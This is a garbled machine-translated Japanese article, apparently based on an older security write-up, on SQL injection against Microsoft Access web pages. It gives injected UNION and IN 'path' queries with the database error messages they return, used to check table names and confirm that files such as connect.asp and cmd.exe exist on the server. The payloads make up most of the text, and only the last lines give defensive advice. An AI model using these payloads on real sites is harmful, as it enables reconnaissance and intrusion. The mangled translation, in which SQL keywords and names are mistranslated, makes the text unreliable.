ACCESSホールに対して、また発見されました。


今はSQLです injectionは人気があって、多くの新しいInjection方式が発掘されました。システムの間違いを利用してルートを破裂して、更に人気がある話題、今日も私はにぎやかに集まります。  
本例のテストはACCESSに適用されます。 SQLクエリには指定されたパスがありません。ACEESSにはソースデータベースのテーブルをターゲットデータベースにインポートすることができます。  
例えば: mysource.mdb(admin表) ―〉mydestion.mdb中  
既存の外部データベースに新しいシートを作成するには、INキーワードを使ってもいいです。外部データベースが存在しない場合、またはデータテーブルが存在している場合、SELECT INTO ステートメントはエラーメッセージを返します。  
SELECT * INTO tblNewCustomers IN 'C:\Custoomers.mdb' FROM tblCustomers。  
ボタンを左右に押してもいいですか?サブクエリ機能のアプリケーションでそれを変えられますか?  
一般的に欠落した語句があります。selectのようです。 * from ニュース where id=「&request("id")には注射があります。以下のプレゼンテーションはセットでselectを使います。 * from ニュース whre id="&request(id)をテストします。便宜上、SQL実行時の状態に直接変換します。  
プロジェクト * from ニュース where id=3 and SELECT * INTO tblNewCustomers IN 'C:\Custoomers.mdb' FROM tblCustomers  
テストでは、サブクエリでガイドテーブルの機能を実現することはできません。この道はまた固定されました。ふとユニオンを思い出して、オペレータを合算して使えますか?  
注:The ユニオン operator(ACCEESS適用)  
ユニオンですが の操作も統合クエリとして見ることができますが、技術的に連結と見なしてはいけません。複数のソースから得られたデータを合成して結果フォームにすることができるからです。この点はいくつかのタイプの接続と似ています。ユニオン 動作は、フォーム、SELECT文、またはクエリからのデータを結合するために使用され、繰り返し行を省略します。すべてのデータソースは同じ数のドメインが必要ですが、これらのドメインが必ずしも同じデータタイプであるとは限りません。私たちは従業員フォームがあると仮定します。お客様の勤務フォームと同じ構造を持っています。この二つのシートを統合して、名前とメールアドレス情報のリストをもらいたいです。  
SELECT [ラスト Name; [ファースト Name; メール FROM tblCustomers ユニオン SELECT [ラスト Name; [ファースト Name; メール FROM tblemployes  
UNION操作では、2つのフォームで重複した記録は表示されません。ユニオンを利用する のクエリー文は、UNION前のクエリー文のフィールド列と同じである必要があります。  
プロジェクト id,title from ニュース where id=3 ユニオン プロジェクト * from admin  
クエリーのフィールドが異なります。  
Microsoft OLED DB プロバイダー for ODBC Drivers エラー '80004005 [Microsoft[ODBC] Microsoft Access Driver] 共同クエリで選択された2つのデータテーブルまたはクエリーの列数が一致しません。  
クエリ文は避けられます。 プロジェクト id,title from ニュース where id=3 ユニオン プロジェクト 1,1 from admin 入れた1の数がフィールドと同じであれば、クエリーも実行できます。  
語句を次のように変えられますか?  
プロジェクト * from ニュース where id=3 ユニオン SELECT * INTO tblNewCustomers IN 'C:\Custoomers.mdb' FROM tblCustomers  
戻り値:  
Microsoft OLED DB プロバイダー for ODBC Drivers エラー '80004005 [Microsoft[ODBC] Microsoft Access Driver] アクションクエリは行のソースとして使用できません。  
結局、失敗しました。UNIONはクエリー結合のみが適用されますので。ユニオンの後ろは動作しません。この道は通れないかもしれませんが、やはり悔しいです。  
使ってみます  
配置  
プロジェクト * from ニュース where id=3 ユニオン プロジェクト * from admin.  
戻り値:  
Microsoft JET Database Egine エラー '80004005 ファイルが見つかりません 'C:\WINNT\system 32\admin.mdb'です。  
この証明書とselectを使います。 * from ニュース where id=3 and 0<>(select count(*) from admin.cnは同じようにパスをテストすることができます。このような方法でACCESSはずっとデフォルトで拡張MDBを検出したいです。以上で避けられますが。それは面倒臭い。  
そこで他の方法でもっと簡単に実現できるかと思って、先ほどのSELECTを思い出しました。 * INTO tblNewCustomers IN 'C:\Custoomers.mdb' FROM tblCustomers。INキーワードはパスファイル名を指してもいいですか?それをすでに使ったものにしてもいいですか?  
次のテスト:  
プロジェクト * from ニュース where id=3 ユニオン プロジェクト * from admin in 'c:\Cusstomers.mdb'  
システムのヒント:  
Microsoft JET Database Egine エラー '80004005 ファイルが見つかりません 'c:\Cusstomers.mdb'  
使用:  
プロジェクト * from ニュース where id=3 ユニオン プロジェクト * from admin in 'c:\wint\system 32\cmd.exe'  
システムのヒント:  
Microsoft JET Database Egine エラー '80004005 Microsoft Jet データベースエンジンはファイル'c:\wint\system 32\CMD.EXE'を開けません。 他のユーザーに独占的に開かれています。データを見る権限がありません。  
この方式の実現は起用よりも and 0<>(select count(*) from admin)クエリの結果はより簡明になりました。またMB拡張子のファイルを推測しています。推測の経路とファイル名は正しいです。情報は正常に表示されます。ただし、MDBではないと推測されるファイルであれば、このようになる。  
実行:  
プロジェクト * from ニュース where id=3 ユニオン プロジェクト * from admin in 'e:\www\include\connect.asp'  
戻り値:  
Microsoft OLED DB プロバイダー for ODBC Drivers エラー '80004005 [Microsoft[ODBC] Microsoft Access Driver] 識別できないデータベースフォーマット 'e:\www\include\connect.asp'  
推測された経路とファイルが正しいことを証明します。  
後は、SQLにはACCESS自体の欠陥により INJECTIONの方式は次々と現れます。しかし、多くの面ではプログラマーがプログラムを書く時に、注意しないでください。送信値のあるSQL語に対して詳細なフィルタリングを行い、少なくともSQLをブロックします。 INJECTIONの一つのドア、ACCESS自身の欠陥を使って、多くのフランス語ホールは防ぎきれないで、サーバのエラー情報を提案して、自分のWEB情報のエラー面を作成して、サーバーのエラーが発生します。これでは参考になるエラーメッセージがありません。文章だけを参考にしてください。